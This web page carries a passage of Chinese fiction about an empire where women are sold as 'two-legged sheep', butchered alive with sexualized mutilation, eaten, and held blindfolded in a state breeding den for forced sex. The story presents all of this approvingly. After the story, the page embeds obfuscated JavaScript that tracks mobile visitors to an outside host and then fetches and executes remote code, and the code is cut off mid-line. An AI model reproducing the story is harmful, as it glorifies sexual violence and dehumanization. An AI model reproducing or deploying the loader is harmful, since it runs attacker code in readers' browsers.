我看了下身旁的乡下女子,她二十来岁,和新买来的那头双脚羊差不多的年 纪,只是身材肉质差多了,这种货色只能作为平常百姓的饭料,也就是说她身上 的肉只是普通人吃的,任何人都可以随意买到的肉,而这种肉需求量往往很大, 宰杀的数量远大于羊圈里的双脚羊。我解开了绑着乡下女人女人的绳子,像她这 样的双脚羊我没有去问她们的名字,而羊圈里的双脚羊最少的也会饲养半个月, 所以大多我都叫的出名字,她们也认命,在自己还没被宰杀前是希望别人能够分 享她们的故事,闲暇时小肉经常会跟我将已经不在的双脚羊的故事,这些故事让 同关在羊圈里的小肉不这么寂寞。解开了乡下女人的绳子,下面就是要把她的胳 膊反绑在身后,没想到刚才动也不动的女子突然拼死挣扎,嘴里发出了凄厉的号 叫,不停的喊不想死,在水池里的小肉和在净身的双脚羊都吓了一跳,抬头望向 我这边。

双脚羊在被宰前产生挣扎和抵抗是自然的,不过这次来得太突然,我没料到 乡下女子会突然发力,在我要将她的胳膊扭到背后时乡下女子用力朝后把我撞退 了一步,乘着这个空挡她发了疯似的哭叫着朝大开的屠房后门冲去。我一时没反 应过来没有去追,在水池里的小肉在替新买的双脚羊洗净身子,要她去追显然不 可能,她也没这个力气,而在后院扫地的啊香更不可能反应过来。如果让双脚羊 从客栈里跑出去那是很没面子的事,我赶紧去追她,没想到乡下女人在冲到屠房 后门时整个身子重重的摔在地上,前身和大腿的皮都有被划破,绑在她脚上的绳 子将她拌倒,使乡下女人没能跑出后院,好在我没去解她脚上的绳子。在后院扫 地的啊香在被买来以后重没见到过这种事,傻傻得拿着扫把站在原地,半晌才跑 过去摁住乡下女人,啊香用身子坐在乡下女人的身上,好几次险些将将啊香翻下 来。

女奴啊香曾经和他父亲来我们客栈吃过饭,那次是她难得出门,是十足的千 金小姐,家道衰败以后他父亲打算将她卖掉又不舍得将她当成双脚羊来卖或是送 进羊窟里,后来想到父亲就将啊香卖到这里为奴。啊香父亲之所以把她卖到我这 里而不是卖到紧随父亲之后开商的肉铺,是因为我这里不讳虐待女奴也不会说杀 就将女奴杀了,她父亲希望啊香在这里能够有好一点的命。啊香的父亲领了十几 两银子就走了,这还是父亲看在啊香确实可怜才给的,啊香父亲走了以后,父亲 叫我带她到女奴的房间换身衣服。当我们经过厨房来到小房间以后我告诉她将衣 服脱掉以后放在蓝子里,旁边有女奴穿的衣服,说完以后我就在旁边等她脱衣服。 啊香扭扭捏捏的脸红到脖子以下,看到我还站在这里她也一动不动,想了半天我 才知道她因为我的关系,我说我先出去,等我进来的时候你要把衣服换上。宰杀 双脚羊对我来说是一种习惯,她们的脸再美身材再好对我而言不过是一堆肉而已, 啊香曾经是千金小姐自然是不习惯。等我再次来到奴房时啊香已经换好了衣服, 原先她身上的衣服被她收拾的工工整整的放在蓝子里,我看她的眼睛有些不舍就 告诉她:“你现在已经不是千金小姐了,从现在开始你要记住你是女奴,这里的 任何人不会无故责罚你,只要做好自己的本分。”啊香红着脸答应,早先父亲跟 她说了很多,让她乖乖听主人的话以后的日子才能好过一点。啊香原以为我要鞭 打她一顿,这是女奴被买以后首次要做的,我没鞭打她让她稍稍松了口气,听我 这么说后安了心。

在我回想啊香的经历时乡下女人奋力地挣扎,又是打又是咬,啊香每次都险 险地避过,时间一常以她柔弱的体制很难再坚持下去,我没叫她停她只能无助的 看着我。“常哥哥,你快去帮她啊!”小肉看我追出去却在门口站着,她将水池 里的郭雯拉出来,把她的双手铐在西墙的木柱上,刚才净身的时候她知道这只等 下要被宰杀的女人名叫郭雯。小肉看我站在门外面不动,她赶忙跑道我的身后在 要跨出屠房后门的前一步停了下来,她从没这么接近外面的世界,当发现自己要 跨出屠房时赶忙将自己的脚缩回来,她是一只羊,是不能出去的,不过外面的事 她感到很好奇,常哥哥从来不跟她将,羊圈里的伙伴们只能告诉她一些零零散散 的片断,这些已经够小肉幻想了。小肉很努力的去记今天发生的事,外面压着乡 下女人的姐姐她不知道叫什么,可小肉觉得她很累,可怜巴巴的望着常哥哥,可 常哥哥疑点反应都没有。小肉摇了摇我的衣袖,她要帮忙那个可怜的姐姐。

我被小肉的声音锰地惊醒,暗暗责怪自己怎么能发呆,回头看了一眼小肉正 要呵斥小肉怎么跑出来了,那里面的双脚羊怎么办,后面看到拐子弟牵来的双脚 羊老实的蹲在西墙再加上小肉处处可怜的样子也就算了。小肉清楚自己的过错, 看我刚才的样子心扑通扑通的跳,我没说什么她便放心下来,出于少女的好奇, 她又是自小被养在羊圈里的少女什么都不懂,好奇的她并没回到羊圈里。我没说 什么,这时才主意到啊香一直在哀求得望着我,正要上去帮忙,啊香“啊”的叫 了一声,她的手被乡下女人咬了一口,人也翻了下来。就在乡下女人翻倒啊香的 一瞬间乡下女人站了起来奋力朝院门冲去,方才的挣扎让她身上又多了点划痕。 我脸色变了又变,赶忙追了上去,要是真给她跑出去郭家也就没面子了。我还没 抓住乡下女人,耳边只听一声冷哼,院门被人一脚踹开,刚跑出去的乡下女人一 时间撞进一个男人的怀里,没等乡下女人做出挣扎他怀里的男人双手用力朝她身 体一抓,乡下女人的身体就被举了起来。我的心疙瘩了一下,没料到这个人会在 这个时候出现,我没见他早上出去啊,不过我还是心绪的低下头,小声地叫了声: “爹。”说实在的,我怕父亲,不过小肉更怕,刚才没听到小肉的叫声想来她是 躲回羊圈里去了,这丫头从小就怕父亲,父亲也只是在训人时凶了点。

爹什么话也没说,冷冷地瞪了我眼,我知道他这是对今天这件事的不满,自 从父亲将生意交给我以后他就很少管我,我却知道这是父亲对我的一种锻炼,就 像他时刻要求我读书识字一样。父亲不管被举到空中的女人的挣扎,想也没想用 力将她从空中砸下,乡下女人还没来得及痛喊一声就被父亲拉了起来连摔了她几 跤,这时乡下女人一动不动蜷缩着身子抽搐,看来就觉得可怜,可我不能露出可 怜的神色,爹还在身边。“看清楚了没。”爹淡淡的问了一声,我点头,任何事 都要当断则断不能拖拉。父亲满意的点点头朝着屠房走去,我赶忙抬起乡下女人, 她身子弄脏了不少,等会宰了割肉洗洗就形。她的神智变得模煳,嘴里不断唠叨 着孩子,因该是她的子女吧,我没办法这都是命里注定的,她的女儿难道能逃过 命运吗?招唿了一声呆坐在地板上的啊香,要她去上点药就抬着乡下女人走进屠 房,心里想着:真重。乡下女人给了我难堪可我不会给他痛苦,毕竟人皆惧死, 我也怕。

将乡下女人放在屠板上绑住了手脚,让我惊奇的是父亲站在了西墙边,而小 肉早就跑进了羊圈里不敢出来。我看着父亲,只见父亲脸色阴晴不定,时而开心 时而悲伤,嘴里不断念叨着什么,我没听清楚。此刻父亲的神情很激动,我好久 没见过父亲有这种神色。再看看那只被父亲拖着下巴的双脚羊,她的表情依旧空 洞,爹没看多久就摇了摇头,叹了口气离开,我可以感受到父亲的失落,而那只 双脚羊在父亲离开以后又将头低了下去。,没多想,按照对付普通双交羊的方法 首先撬开了乡下女人的嘴巴,拔出她的舌头齐根割下,然后一手抓着她的头发另 一手提起一把斧头顺着她的脖胫砍下,血水剧烈地从断胫处碰处,划了一道很长 的一道弧线,她的头被我放到一旁等会扔到垃圾堆里。接下来就是割下双乳,然 后用尖刀沿着阴户划了个半圆,等到将阴蒂整根从阴户里拔出才将她的阴户整块 挖下,这到程序不管是哪一只双脚羊只要不是留全身的都要经历,最后就是开膛 破肚将她的肉剔下来。

等我简单剔下乡下女人的肉以后回头看了眼被绑在西墙的双脚羊,接下来就 轮到她了,孰知她依旧平静,难怪爹会注意到她。到她面前我才正式打量起这个 女人,她二十来岁,她身材丰盈,不是一开始我认为用喂养出来的,从乳房的颜 色可以看出她经历过房事,身上有一股成熟的气息,就不清楚她怎么会沦落街头。 在我打量这个双脚羊时她抬起了头,四目相对我竟然产生了恍惚的感觉,是一种 很熟悉很亲切的感觉,这已经是第二次了,奇怪。“你让我感觉很亲切,我知道 我要死,杀我时能否给我痛快一刀。”在我的耳边想起了双脚羊的话,我感到吃 惊,她对我也有亲切的感觉,我将她抱起,她只在我把她抱起的那一刹那躯体一 阵颤抖便再也没有动静。此时我还不晓得她的名字,将她成大字型绑在屠板上, 便于砍下她的四肢,而后脑子里闪现出她刚才说的话,我也不管她现在闭着眼睛 等死,就说:“你身上的肉比刚才的那只羊好,像你这样的双脚羊一般活宰,剔 出来的肉才鲜美。”屠板上的她猛然睁开双眼,眼里第一次游乐表情,那是恐惧。 她的胸部剧烈起伏,我以为她要开始挣扎,她此时挣扎也没用了,她张开嘴吸了 几口气,丰盈的身子软在屠板上不动了。

时候到了,我抓起她的左手臂,尖刀在她的胳膊处用力往下一压,刀尖立刻 插进她的肉里,抵在她的胳膊骨上,刀锋在她的左胳膊上绕了一圈,一条红线出 现并且冒出的血越来越多。她的左臂在抽搐,眉头紧紧雏在一起,她只有在刀尖 划开她的肌肤时轻微呻吟了一声,我不经感到佩服,她是个不伏输的女人。在她 膀子上剃下一点肉,尖刀伸进胳膊的关节内挑一挑,我解开了绑着她左手的绳子 双手用力抓住她上臂用力一掰,咔的一声她的左臂给我卸下,从断臂处流出一趟 血,还可以见到白森森的骨头。我这样做其实是为了减少她的痛苦,大多时候直 接砍下就行,像那乡下女人一样。她终究是忍不住,没有一个活宰的双脚羊忍得 住的,即使用最好的方法屠宰她们。

“求求你,直接杀了我吧………我活够了……”她的眼里流出经营的泪水, 丰盈的身躯在屠板上扭动,她的血和乡下女人的血混合在一起,染红了她的下身。 我是一个屠夫,对自己的肉不能有半分感情,这次我动容了,我发现自己很容易 被她感染,在卸她的左臂时我一直感觉心中有一股压抑的气息。“好吧,你不要 动,我给你痛快一刀。”尽管这女人给了我别样的滋味,但该不了我要宰杀她的 命运,她只是一只双脚羊。我抬起她一只大腿,将她的双腿用力分开,让她的私 处暴露在我眼前,她因失血而苍白的脸上再次有了红润,不甘心的最后看了眼屠 房。

尖刀的尖端侵入了她最隐秘的地方,赫然间我发现她的屁股上隐约处有个蝴 蝶印记,一种念头贸然闯进我的脑子里,忘记了我的手还握着尖刀,尖刀的顶端 插进了她的幽穴里。“砰!”的一声,屠房的铁门被用力地摔开,发出剧烈的声 响,爹快步冲了进来喊到:“宰了没……”他的声音里隐藏着兴奋和深深的后怕。

我吓了一跳,手一抖,尖刀势如破竹的摧毁了她身体薄弱的抵抗,插进子宫 的深处。她“啊”的惨叫一声痛晕了过去,下体淌出鲜红的液体。

五、羊窟

去年那一刀差点要了姐姐的命,在父亲翻看了姐姐鲜血淋淋的下体上那蝴蝶 的胎记以后确定了姐姐的身份,他让我把姐姐抬进客房里便去请夷洲城里有名的 张大夫,起先大夫不愿给作为双脚羊的女子治病,父亲答应替他在城主面前美言 几句后大夫才笑呵呵的拿起药箱。我被爹从客房里赶了出来,看不出他脸上有愤 怒,只是忽忽闪过一丝无奈,从那一丝无奈中我看到父亲并不怪我,他没想到失 踪好多年的女儿是以他最想不到的方式出现。我从客房里面出来以后,啊香和另 外一个女奴提着热水和纱布进到客房里面。我没有在门外等多久,开门做生意耽 搁了不少时间,乡下女人被剃下来的肉还没装到盆子里,还有好多好多的事要做。 打算到前堂去的我不知不觉走回屠房,小肉已经从羊圈里爬了出来,圈里的双脚 羊们在小声的聊天。我站在屠房的门口,屠房的后门依旧大开着,小肉没有离开 屠房,她把羊圈当成自己的家。我没有去叫小肉,失神的看着她笨拙地将乡下女 人的肉堆到大盆子里,还有她的骸骨,以及沾染了血水的地面,这些都是小肉最 害怕的,现在她却在做这些事。回想小肉来了以后一直都是她在陪我聊天,呆在 我身边的一直都是她,可惜她是一只双脚羊,为什么我没想过让她变成女奴呢, 这样她就不必被宰杀了,可是我不想让她离开屠房,屠房里有我。摇了摇头,乘 小肉没主意到我赶紧离开,我不能对自己的肉产生任何感情,开铺子吧。

“无常,你在想什么?”郭雯轻轻摇晃我,她刚才跟我说的话我全没听见, 不知在想什么。“姐姐,你说什么?”回神发现姐姐有些焦虑的看着我,刚才我 一直在想去年的事,没主意到姐姐在我后面。她身上套着的人皮是去年歌下的, 如今有些发黄,我想等过段时间宰杀羊圈里的双脚羊时从新给她弄一块人皮好了。 姐姐知道我是他弟弟后没有怨恨过我,女人家的衣物她是再也不穿了,为她准备 的房间她偶尔会过去,大部分时间她和小肉呆在羊圈里。我不明白爹为什么对姊 姊的情感来了个转变,是因为那一刀让姐姐不能身孕么?每次我为此发愁时小肉 总在我身边乐呵呵的笑,她说不要当心姐姐,不过这是她的秘密。等待我宰她时 她才告诉我。“无常,你也不小了,心里有事不能憋着,爹平常对你冷着一张脸, 我看得出爹却是很关心你的,要不让爹为你操办一门婚事,要是以前到了你这年 纪都娶亲生子了。”郭雯慧心地说道,脸上升起少有的红晕。我心里嘀咕着,要 女人要孩子羊圈里多的是,随便拿一个出来都能生一大堆,最差不如去羊窟,羊 窟里多的就是生育的女子。心里我是这么想的,嘴上却不能说,姐姐是在羊窟里 呆过很长一段时间,从姐姐言唿其词上不难看出姐姐有了子嗣,再加上一个女人 在羊窟里呆了那么长的一段时间,最少能生一个孩子,悲哀的是孩子出生以后就 不属于她们,即使羊窟里的女人们将来能见到自己的孩子也认不出自己的骨血。 “姐姐,你刚才要跟我说什么,无常煳涂没听进去。”我不想在娶亲这件事上再 谈下去,姐姐不能生育,我便成了姐姐心中替郭家延续香火的希望。

“哦,爹刚才从羊圈里领了两只双脚羊出去,看你想事想的出身就没跟你说, 我也不敢问爹……”郭雯的脸上一抹黯然,是为我岔开娶亲话题而伤心。不听才 好一听吓死掉,我立即从石阶上蹦起来,姐姐倒给我的反应吓了一跳。爹平常会 从屠房里牵走一两只姿色较好的双脚羊这我知道,我也从来没阻止过,西墙的那 些双脚羊都是用来剐肉切割的,被爹取走的双脚羊用来贿赂城笼络城里有钱有势 的人物,店里的双脚羊不是白送出去,从中爹得到了应有的好处,减少了不少市 井和衙门里的麻烦,集市里头双脚羊的买价上也跟着便宜了不少,从而保障了郭 家在夷洲城肉管子的地位。爹的做法我很赞同,从市集或肉拐子那里买来的双脚 羊其中一两头就是为父亲准备的,到了开销大时也就从西墙边的双脚羊里再牵出 一两头,唯一一次出了点差错也不过是牵了几个女奴和女跑堂来摆平,并没有从 羊圈里牵走双脚羊的先例,这次爹破例了。如果是父亲为了巴结某个人或是有什 么麻烦,用到羊圈里的双脚羊还说的过去,那两只被养过一段时间的双脚羊算得 上上等货色,如果不是那可白白浪费了,就连父亲请城主那胖子喝酒不见得有这 么阔绰。“不行,姐姐,我要跟去看看,铺子你叫掌柜的好好给我招待,不然我 剃了她。”姐姐是不知道父亲的去处,从后门出去最近的就是衙门,衙门旁边是 羊窟,父亲不会是把双脚羊卖到羊窟里了。跟姐姐打声招唿,放心的将铺子交给 她看管,独自跑了出去。

“姐姐,常哥哥去哪了,西墙没双脚羊了,今天怕没足够的肉吃。”小肉抱 着一盆热乎乎肉走了过来,她没有见到我正四处张望,漂亮的眼睛好奇地看着门 外的景色。“小肉,要不要做郭家的媳妇,做了郭家的媳妇你就能出去了,还有 漂亮的衣服穿。”郭雯将后门合上并没上锁,屠房后门到了夜间才锁,她满怀希 望地问小肉。“做常哥哥的媳妇?可小肉是羊儿啊,常哥哥迟早要杀了小肉,小 肉愿意被常哥哥宰杀,小肉的爹娘不要小肉了,是常哥哥把小肉养大的。”小肉 低着头注视着盆子里的肉,提前发育饱满的小胸部上下起伏,羞愧的不敢看郭雯, 许久传来郭雯一声叹息。

跑到衙门前有些喘不过气来,再衙门前当差的两个衙役平素有到铺子里吃肉, 对客栈一向照顾,有什么事跟他们说由他们来摆平。当值的两个衙役是熟识,像 他们这样的人你敬他们一尺他们就给你一丈的义气。领头的衙役见我跑到衙门门 前就上前打起招唿:“小郭,你爹刚来过,你怎么也来了?”我的脸色一变另一 个衙役接口道:“是啊,你爹牵着两头双脚羊朝羊窟走了,看那两只双脚羊的样 就知道是你小子养的,比那醉红楼的妞还美,哥俩还以为你爹要孝敬大老爷的, 嘿嘿,这样也好,当完班就去羊窟好好爽爽……”领头的衙役见我脸色变了又变, 急忙阻止了另一个衙役的话,还没等他开头我朝着羊窟的方向跑,还不忘回头朝 他们喊:“有空多来郭记客栈坐坐。”嘴里招唿他们来,一是怕他们记着我刚才 的表情,小心和他们结下梁子,二来是要他们帮我拉生意,心里却在咒骂,养在 羊圈里的双脚羊哪个不好,她们就是单独一道菜,不是下等货色可以比的。爹啊 爹,你发生么神经,把那么好的双脚羊牵出去,殊不知我自己也在发疯。

帝国大到一个城池小到一个村落,少不了羊窟的设立。羊窟是朝廷煞费苦心 的几项措施之一,军队招收女兵是为了防止男兵在战场上过度死亡同时添加军力, 而羊窟的设置针对的是吃人这一恶习,中原动乱结束以后留下大批女人充当双脚 羊,双脚羊再多也有吃完的时候,双脚羊吃完了帝国就无法增加人口,离亡国不 远了。为了防止这种现象出现朝廷设立了羊圈,从双脚羊中例外集中一披女子关 进专门的牢房里,在羊窟里女人赤身裸体的呆在牢房里面,双面被布遮住,白天 夜里与男人人交合,有哪一个女人怀孕以后她便被从羊窟里带出来单独照顾,等 到生完孩子以后再把她带回羊窟里,等到她过了生育年龄以后才能从羊窟里放了 出来。姐姐在羊窟里呆过,按正常女子计算,一个适合生育的十五岁女子,等她 从羊窟里出来后她差不多三十来岁。羊窟里出来的过了龄的女子恢复了自由身, 有家可以回并且家人接受的还好,无家可回的基本上给当地的衙门组织起来集体 卖出去,少量的成为女奴,大多数被卖成双脚羊,她们活着没力气干活,粮食跟 着浪费,还不如宰了吃。朝廷设立羊窟增加国家人口,男婴给国家带来生力,女 婴使中原的女子不会过度减少,在朝廷还没缓过劲前有足够的双脚羊供应宰杀。

羊窟并不象想像中的那样森严,正门是羊窟的出入口,大门处有几个手持木 棍的大汗在那里站着,领头的不在,可能在羊窟里爽,他们满眼盯着街上来来往 往的女人,街上的女人经过他们身边不时招到他们调戏,这些女人敢怒不敢言, 快步走过他们就是了。当然,有身份的女子他们是不敢去调戏的,男人的地位再 高惹到不该若的人照样死路一条。他们不是衙门里的衙役,只有领头的是衙门里 的衙役,衙是应许佩刀,其他人佩带木棍。他们只管来这里的男人不把双脚羊带 出去,偶尔收一些孝敬,白吃白干的工作他们也乐意做。衙门上下的关系早就被 爹打通,连城主也钻进爹下的套子里,这些人见了我也算客气,闲里和爹喝酒吃 肉的混在一起,他们叫我“小常子”,碍于父亲的颜面我不能说什么。大清早的 他们刚来当班,父亲有没来过他们不知道,领头的来的早,他们让我进羊窟里找 领头的。要进羊窟我是万分没有准备的,听过却没有真正进去过,来过的几次无 非是在大门口收购过了龄的女子,这些羊窟里用来生孩子的女人我们私下里都叫 她们“肉猪”。看我没有进去,几个大汉推了我一把,笑着说我脸皮太薄,早点 让老郭替我娶一门媳妇,早点熟悉女人。

我对娶亲这件事一向回避得很,一早就被姐姐和这些大汉提起,心里怎么样 都不舒服,干脆在羊窟里看个够。说我不熟悉女人,几年下来我宰杀的女人不下 千个,什么样的我没见过,清纯可人的少女、风姿妖娆饿妇女、媚骨风骚的女人, 还有清雅高贵的女人,我不管她们生前是什么身份,在我的屠房里她们原来白皙 粉嫩的女人的肉体最后变成鲜红的肉,我不了解女人,她们一丝不挂、清清楚楚 的在我眼前,而他们只能在家玩弄自己的黄脸婆。进到羊窟内里我才知道这里有 多大,五六个房间里起码关着十来个女人,外围用木栏围住,中间大堂至少有五 十来个女子躺在地上,由于羊窟刚刚才开,里头见到的男子不多,再加上羊窟的 领头和铺子有往来,很容易辨认。一个个认过去,心里的疑惑解开不少,这些女 人层层叠叠的挤在一起,眼上都被白布遮住,本能的在铺满稻草的地上蠕动着。 把她们的眼睛遮住是为了防止尴尬的情况出现,一个男人在这里可以碰到自己的 妻子、女儿、妹妹等有关系的女人,给女人蒙上眼男人就毫无顾忌地与她们进行 交合。肉猪们躺在地上,对方可能是自己的姊妹,可能是姑婶,更可能是母女, 那些生了女儿的母猪,她们的女儿在这里成长,重复她们的命运。

肉猪们已经麻木了,她们本能地进行交配,她们的地位和双脚羊一样比畜生 还低,双脚羊不要受到多大的侮辱,她们比双脚羊的地位还低。肉猪们一个个袒 胸露乳,大腿张开着等待男人的进入。我不经想到,爹有没来过羊窟,他是否遇 到过姐姐而他又不知道,一股不安涌上心头。在我还在母猪里寻找领头时,一个 男人从肉猪身上爬了起来,抖了抖身下的阳具不紧不慢的套上裤子。他看见我不 知在找什么,开口朝我叫道:“无常,过来这里,你爹有话让我转告你。”我看 是领头便朝他周过去。

“我爹经常来这?”默默地我问道,心里极不是滋味。

“你爹那种人怎么可能会进羊窟,刚才他牵着两只双脚羊经过这,说你来找 他时叫我转告你,让你去醉红楼接生意。”

听了领头的话我暗暗送了口气,爹没来过羊窟,那就不会和姐姐碰到。爹叫 我去醉红楼干麻,接生意,接什么生意,不会叫我去拉皮条吧,爹又怎么知道我 会来找他。知子莫若父,爹一早就安排好的。

六、醉红楼

乐帝二十七年。这为中原动乱最后六十年在位最长的皇帝继承前两位皇帝的 遗志,率三十万大军强攻夷洲城,与夷人进行决战,其中三十万大军中有二十来 万女兵,军中将领多为女性,中原第一次在战争中启用女将,开启大规模征召女 兵的先例。当这三十万大军兵临城下时夷人大为吃惊,耻中原人无可用之兵,殊 不料中原女将身先士卒,其下女兵作战英勇、不下男儿,打得夷人措手不及。进 攻夷洲城的女兵为乐帝之前两位先帝辛苦培养留下,可笑他们在位时被世人称做 苟且偷生,夷洲之战后世人才知两位先帝的忍辱负重、目光长远。乐帝出其不意 地夷人进行决战,再加上夷人战前准备不足,造成外城被迅速攻破,大量没有进 入内城的夷兵各自为政,自行布防,给大军带来了前所未有的难度。此时,听得 消息的夷人大举增援,乐帝被迫抽兵与前来的夷兵进行周旋,退守在内城里的夷 人利用内城的高墙后甲进行防御,战争进入到前所未有的交持状态。

战争后期中原军队开始缺少粮饷,上至将领下至兵卒疲惫不堪,军中人马到 了吃战死士卒尸体的地步。眼见战局越来越对几不利,已经从夷人手中解放的外 城百姓自发带着家里的粮食和妻女到军中充当军粮,乐帝到了不得不接受耳朵时 刻。在火头军里,女子的哭泣声,士兵的吆喝声夹杂在一起,尽管这些女子是出 于自愿还是被家中男人送来的,到了要死的时候难免尖叫哭泣。自愿充当军粮的 女子也没有进行清洗,士卒急着填饱肚子,她们被剥下衣服,一个个倒挂在一排 排的肉架子上,士兵盯着她们的脖子一刀将她们脖子砍下,不到半个时辰,一个 女子就剃成满满一盆的肉,接着下一批女子被倒吊在肉架子上。军中大多数为女 子,同为女子的士兵并没有给她们的同胞带来太多痛苦,手起刀落就了结了她们 的性命,而男兵们也没有强辱妇孺的事情发生,她们的头颅和身上的一些肉送还 外城的百姓。不得不说,中原人喜欢内斗,从中原第一个王朝开始就没停歇过, 在面对外来敌人时表现出的团结让人难以想像。

战争中发生的很多事被掩埋于历史之下,乐帝最终攻破了夷洲城,没有多久 再次被夷人从手中抢回,夷洲百姓再次陷入水深火热之中,乐帝也在此次战役中 病重身亡,他的地位传给大皇子,二皇子在旁辅佐,此后的战役中夷洲城成了两 军重中之重,成为两军存亡的关键地步。大皇子继位以后大举征兵、日夜操练, 在几年之后大举发兵为先帝报仇,临行前下昭如果他有何不测,二皇子立即登位。 世事难料,出征的大皇子招到夷人的伏击,伏击他的竟然是夷人大国汗率领的精 兵,此次战役大皇子战死沙场,夷人大国汗重伤逃回夷洲城。大皇子驾崩,二皇


上一篇:因爱之名秀色食人,不喜勿入

下一篇:南希的母牛生活


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new 